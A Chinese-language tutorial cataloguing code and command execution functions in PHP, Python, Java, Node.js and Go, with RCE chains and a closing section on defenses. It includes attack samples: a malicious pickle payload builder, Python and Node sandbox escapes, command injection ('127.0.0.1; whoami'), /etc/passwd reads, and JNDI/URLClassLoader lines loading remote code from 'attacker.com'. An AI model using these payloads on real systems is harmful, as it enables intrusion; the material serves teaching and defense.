一、为什么危险函数重要

在代码注入或命令注入漏洞中,危险函数是将"输入"转化为"执行"的最后一步。即使你找到了注入入口,也必须通过危险函数才能将 Payload 转化为实际的代码执行。

用户输入 → 注入入口 → 危险函数 → 命令执行
            ↑              ↑
         闭合 Payload    核心原语

二、PHP 危险函数矩阵

2.1 命令执行类

函数 执行方式 返回值 输出 PHP版本 风险
system() 启动进程执行命令 命令最后一行状态码 直接输出到浏览器 全部 ★★★★★
exec() 启动进程执行命令 命令最后一行输出 可通过 $output 参数捕获 全部 ★★★★★
shell_exec() 通过 shell 执行 命令完整输出字符串 不直接输出 全部 ★★★★★
passthru() 直接传递原始输出 无返回值 直接传输原始输出 全部 ★★★★★
popen() 打开进程文件指针 文件指针 通过 fgets/fread 读取 全部 ★★★★
proc_open() 打开进程并绑定 I/O 进程资源 需手动管理管道 全部 ★★★★
反引号 `` 通过 shell 执行 命令完整输出 不直接输出 全部 ★★★★★

2.2 PHP 函数签名与示例

<?php
// 1. system() - 最简单的命令执行
system('whoami');              // 直接输出: www-data
system('whoami', $retval);     // $retval 为退出码

// 2. exec() - 可捕获完整输出
$last_line = exec('whoami', $full_output, $retval);
var_dump($last_line);          // string(10) "www-data"
var_dump($full_output);        // array(1) { [0]=> string(10) "www-data" }
var_dump($retval);             // int(0)

// 3. shell_exec() - 等同于反引号
$output = shell_exec('cat /etc/passwd');
// 等同于
$output = `cat /etc/passwd`;

// 4. passthru() - 适合二进制输出
header('Content-Type: image/png');
passthru('cat image.png');     // 直接输出图片二进制

// 5. popen() - 文件指针方式
$fp = popen('ls -la', 'r');
while (!feof($fp)) {
    echo fgets($fp);
}
pclose($fp);

// 6. proc_open() - 最灵活
$descriptors = [
    0 => ['pipe', 'r'],    // stdin
    1 => ['pipe', 'w'],    // stdout
    2 => ['pipe', 'w'],    // stderr
];
$process = proc_open('whoami', $descriptors, $pipes);
$output = stream_get_contents($pipes[1]);
fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]);
proc_close($process);

// 7. pcntl_exec() - 当前进程替换(PHP 4.2+)
// 注意: 会替换当前进程,之后的代码不会执行
pcntl_exec('/bin/sh', ['-c', 'whoami']);
?>

2.3 assert() 特殊地位

<?php
// PHP 5.x: assert() 可以执行代码
// assert() 的参数是字符串时,会被当作 PHP 代码执行
assert('system("whoami")');  // RCE

// PHP 7.2+: assert() 开始废弃字符串参数
// PHP 8.0+: assert() 完全不再执行字符串代码
assert('1 == 1');  // 只做布尔断言,不执行代码

// 但可以用 ini_set 恢复(某些配置下)
ini_set('assert.active', '1');
ini_set('assert.exception', '0');
// PHP 8 中这个方法也失效了

// 替代: 使用 assert_options
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_CALLBACK, '');
// PHP 8 后 assert_options 也被废弃
?>

2.4 PHP 其他危险函数

<?php
// 代码执行类
eval('phpinfo();');                    // 直接执行 PHP 代码
assert('system("id")');                // PHP 5 可执行代码
preg_replace('/./e', 'system("id")', 'test');  // /e 修饰符可执行代码
call_user_func('system', 'whoami');    // 动态函数调用
call_user_func_array('system', ['whoami']);
$func = 'system'; $func('whoami');     // 变量函数
array_map('system', ['whoami']);       // 数组回调

// 文件包含类(可用于上传 Webshell)
include($_GET['page']);                // 文件包含
require($_GET['page']);
include_once($_GET['page']);
require_once($_GET['page']);
// PHP 伪协议: php://input, data://, phar://

// 动态加载类/方法
$class = 'System'; $method = 'exec';
$obj = new $class();
$obj->$method('whoami');

// 反射(PHP 5+)
$reflection = new ReflectionClass('System');
$method = $reflection->getMethod('exec');
$method->invoke(null, 'whoami');

// 反序列化入口
unserialize($_GET['data']);            // 可能触发 __destruct
?>

三、Python 危险函数矩阵

3.1 命令执行类

函数/方法 模块 返回值 是否等待 适用场景
os.system() os 退出码(低16位) 简单命令
os.popen() os 文件对象 可选 需读取输出
subprocess.run() subprocess CompletedProcess Python 3.5+
subprocess.call() subprocess 退出码 兼容旧版本
subprocess.check_output() subprocess 输出字符串 需捕获输出
subprocess.Popen() subprocess Popen对象 可选 最灵活

3.2 Python 完整示例

import os
import subprocess

# 1. os.system() - 简单直接
ret = os.system('whoami')
print(f"Exit code: {ret}")       # 低16位: 0 表示成功

# 2. os.popen() - 读取输出
output = os.popen('cat /etc/passwd').read()
print(output)

# 3. subprocess.run() - Python 3.5+ 推荐
result = subprocess.run(['whoami'], capture_output=True, text=True)
print(result.stdout)              # 输出字符串
print(result.returncode)         # 退出码

# 4. subprocess.run() - 使用 shell=True(危险!)
result = subprocess.run('whoami | grep root', shell=True, capture_output=True)
print(result.stdout)

# 5. subprocess.check_output() - 直接返回输出
try:
    out = subprocess.check_output('id', shell=True, text=True)
    print(out)
except subprocess.CalledProcessError as e:
    print(f"Command failed: {e}")

# 6. subprocess.Popen() - 异步/复杂场景
proc = subprocess.Popen(
    ['bash', '-c', 'sleep 5 && echo done'],
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
    text=True
)
stdout, stderr = proc.communicate()   # 等待完成
print(stdout)

# 7. exec() / eval() / compile()
exec("import os; os.system('whoami')")
eval("__import__('os').system('id')")
code = compile("print('hello')", '<string>', 'exec')
exec(code)

# 8. runpy(Python 3+)
import runpy
runpy.run_path('/path/to/script.py')  # 执行任意 Python 文件

# 9. ctypes(调用 C 函数)
import ctypes
libc = ctypes.CDLL('libc.so.6')
libc.system('whoami')

3.3 Python pickle 危险操作

import pickle
import os

# 恶意 pickle 对象
class Evil:
    def __reduce__(self):
        # 返回 (callable, args),反序列化时会被调用
        return (os.system, ('whoami',))

# 构造攻击 payload
payload = pickle.dumps(Evil())

# base64 编码传输
import base64
encoded = base64.b64encode(payload).decode()
print(f"Payload: {encoded}")

# 更短的 pickle 字节构造
# 直接手写 pickle 协议
import io
buf = io.BytesIO()
pickle.dump(os.system, buf)
pickle.dump(('id',), buf)
# 或者更精简的方式

# 服务端漏洞触发
# data = request.data
# obj = pickle.loads(data)  # RCE!

四、Java 危险函数矩阵

4.1 命令执行类

// 1. Runtime.exec() - 最经典
Runtime.getRuntime().exec("whoami");
Runtime.getRuntime().exec(new String[]{"bash", "-c", "whoami"});
Runtime.getRuntime().exec("cmd.exe /c dir");  // Windows

// 2. ProcessBuilder - 更灵活
ProcessBuilder pb = new ProcessBuilder("whoami");
pb.redirectErrorStream(true);
Process p = pb.start();
// 读取输出
BufferedReader reader = new BufferedReader(
    new InputStreamReader(p.getInputStream())
);
String line;
while ((line = reader.readLine()) != null) {
    System.out.println(line);
}
int exitCode = p.waitFor();

// 3. javax.script.ScriptEngine - 脚本引擎
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("js");
engine.eval("java.lang.Runtime.getRuntime().exec('whoami')");

// 4. ProcessImpl(内部类)
// 通过反射调用
Class<?> clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, boolean.class);
method.setAccessible(true);
Process p = (Process) method.invoke(null, new String[]{"whoami"}, null, null, false);

// 5. JNDI 注入(Log4j 等)
// 通过 JNDI 加载远程类
InitialContext ctx = new InitialContext();
Object obj = ctx.lookup("ldap://attacker.com/Exploit");

// 6. GroovyShell
GroovyShell shell = new GroovyShell();
shell.evaluate("Runtime.runtime.exec('whoami')");

// 7. MVEL
MVEL.eval("Runtime.getRuntime().exec('whoami')");

4.2 Java 反射链

// 通过反射逐层获取 Runtime 并执行命令
// 关键: 利用类继承链

// 方法1: 直接获取
Runtime.getRuntime().exec("whoami");

// 方法2: 通过 ProcessBuilder
new ProcessBuilder("whoami").start();

// 方法3: 通过 ClassLoader 加载恶意类
URLClassLoader cl = new URLClassLoader(new URL[]{new URL("http://attacker.com/evil.jar")});
Class<?> cls = cl.loadClass("Exploit");
cls.getMethod("run").invoke(null);

// 方法4: 通过 groovy 动态执行
GroovyShell gs = new GroovyShell();
gs.parse("$rt = java.lang.Runtime.runtime; $rt.exec('whoami')").run();

// 方法5: Spring SpEL
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('whoami')");
exp.getValue();

4.3 Java 反序列化危险入口

import java.io.*;

// 危险入口 1: ObjectInputStream.readObject()
public void deserialize(byte[] data) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
    Object obj = ois.readObject();  // RCE!
}

// 危险入口 2: XMLDecoder
XMLDecoder decoder = new XMLDecoder(new ByteArrayInputStream(xmlBytes));
Object obj = decoder.readObject();  // 可执行任意方法

// 危险入口 3: XStream
XStream xstream = new XStream();
Object obj = xstream.fromXML(xmlString);  // 反序列化 RCE

// 危险入口 4: SnakeYAML
Yaml yaml = new Yaml();
Object obj = yaml.load(yamlString);  // !!javax.script.ScriptEngineManager 可 RCE

// 危险入口 5: fastjson
JSONObject.parseObject(jsonString);  // autoType 可触发 RCE

// 危险入口 6: JNDI lookup
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://attacker.com/Exploit");  // RMI 反序列化
ctx.lookup("ldap://attacker.com/Exploit"); // LDAP + 远程类加载

五、Node.js 危险函数矩阵

5.1 child_process 模块详解

const cp = require('child_process');

// 1. exec() - 通过 shell 执行(危险!)
cp.exec('whoami', (err, stdout, stderr) => {
  console.log(stdout);
});

// 2. execSync() - 同步版本
const out = cp.execSync('whoami').toString();
console.log(out);

// 3. execFile() - 直接执行文件,不经过 shell
cp.execFile('/bin/whoami', [], (err, stdout) => {
  console.log(stdout);
});

// 4. spawn() - 流式执行
const child = cp.spawn('bash', ['-c', 'whoami']);
child.stdout.on('data', (data) => console.log(data.toString()));

// 5. fork() - 启动子进程
const child = cp.fork('./child.js');
child.send({ cmd: 'whoami' });

// 6. spawnSync() - 同步 spawn
const result = cp.spawnSync('whoami');
console.log(result.stdout.toString());

// 7. eval() / Function()
eval('require("child_process").execSync("whoami")');
new Function('return process.mainModule.require("child_process").execSync("whoami")')();

5.2 Node.js 全局危险对象

// process - 可以执行命令
process.mainModule.require('child_process').execSync('whoami');
// 或
global.process.mainModule.require('child_process').execSync('id');

// global.require - 某些环境可访问
global.require('child_process').execSync('whoami');

// 通过 Error 获取
err = new Error();
err.constructor.constructor('return process')().mainModule.require('child_process').execSync('id');

// 通过 VM 沙箱逃逸
const vm = require('vm');
vm.runInContext(
  'this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami")',
  vm.createContext({})
);

六、Go 危险函数矩阵

6.1 os/exec 包

package main

import (
    "os/exec"
    "io/ioutil"
    "fmt"
)

func main() {
    // 1. exec.Command - 推荐方式(不通过 shell)
    cmd := exec.Command("whoami")
    out, err := cmd.Output()
    if err != nil {
        fmt.Println(err)
    }
    fmt.Println(string(out))

    // 2. 通过 shell 执行(危险!用户输入可能被注入)
    userInput := "127.0.0.1; whoami"
    cmd = exec.Command("sh", "-c", "ping -c 1 "+userInput)
    cmd.Run()

    // 3. 带环境变量
    cmd = exec.Command("bash", "-c", "echo $MYVAR")
    cmd.Env = append(os.Environ(), "MYVAR=hello")
    out, _ = cmd.Output()
    fmt.Println(string(out))

    // 4. 流式读取
    cmd = exec.Command("bash", "-c", "cat /etc/passwd")
    stdout, _ := cmd.StdoutPipe()
    cmd.Start()
    data, _ := ioutil.ReadAll(stdout)
    cmd.Wait()
    fmt.Println(string(data))

    // 5. syscall.Exec - 替换当前进程
    // syscall.Exec("/bin/sh", []string{"sh", "-c", "whoami"}, os.Environ())
}

七、危险函数触发链:从 eval 到命令执行

7.1 PHP 完整链路

eval("...")
  → 动态函数 ${"system"}()
    → system("whoami")
      → shell 执行 /bin/sh -c whoami

或者:
eval("...")
  → include("data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==")
    → 包含并执行 base64 编码的 PHP 代码
      → system("whoami")

或者:
preg_replace("/./e", "...", "input")
  → 执行替换模式中的代码
    → call_user_func("system", "whoami")

7.2 Python 完整链路

eval(user_input)
  → __import__("os").system("whoami")
    → os.system()
      → C 级 system() 函数

或者:
eval(user_input)
  → [].__class__.__bases__[0].__subclasses__()[X]
    → .__init__.__globals__["__builtins__"]["__import__"]("os")
      → .system("whoami")

或者:
exec(user_input)
  → import subprocess
    → subprocess.call(["bash", "-c", "whoami"])

7.3 Java 完整链路

反序列化入口 readObject()
  → InvocationHandler.invoke()
    → Method.invoke(Runtime.getRuntime(), "exec", ...)
      → Runtime.exec("whoami")
        → ProcessBuilder.start()
          → 操作系统 fork + exec

或者:
SpEL 表达式 T(java.lang.Runtime).getRuntime().exec('whoami')
  → StandardEvaluationContext.getType()
    → Class.forName("java.lang.Runtime")
      → getMethod("getRuntime").invoke(null)
        → .exec("whoami")

或者:
OGNL 表达式
  → #a=@java.lang.Runtime@getRuntime()
    → #a.exec('whoami')

八、防御:禁用危险函数

8.1 PHP disable_functions

; php.ini 配置
disable_functions = eval,assert,passthru,exec,shell_exec,system,popen,proc_open,pcntl_exec,pcntl_fork,popen,proc_nice,proc_terminate,proc_kill,proc_get_status,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,imap_open,apache_setenv,curl_multi_exec,parse_ini_file,show_source

8.2 Python

# 使用 restricted 模式(有限)
# 或 monkey-patch 危险模块
import os
os.system = lambda *args, **kwargs: None

import subprocess
subprocess.call = lambda *args, **kwargs: None
subprocess.Popen = lambda *args, **kwargs: None

8.3 Java SecurityManager

// 自定义 SecurityManager 拦截 Runtime.exec
public class NoExecSecurityManager extends SecurityManager {
    @Override
    public void checkExec(String cmd) {
        throw new SecurityException("Runtime.exec blocked: " + cmd);
    }
    
    @Override
    public void checkConnect(String host, int port) {
        throw new SecurityException("Network blocked: " + host + ":" + port);
    }
}

// 设置
System.setSecurityManager(new NoExecSecurityManager());

九、总结

危险函数是 RCE 攻击的核心"最后一公里":

  1. 命令执行类:system/exec/shell_exec/Runtime.exec/ProcessBuilder —— 直接执行 shell
  2. 代码执行类:eval/assert/ScriptEngine.eval —— 执行语言自身代码
  3. 反序列化类:readObject/unserialize/pickle.loads —— 通过对象构造间接执行
  4. 模板表达式类:SpEL/OGNL/MVEL —— 表达式引擎执行

在攻防对抗中,攻击者需要找到并打通这条链,防御者需要在链的任何一环设置阻断。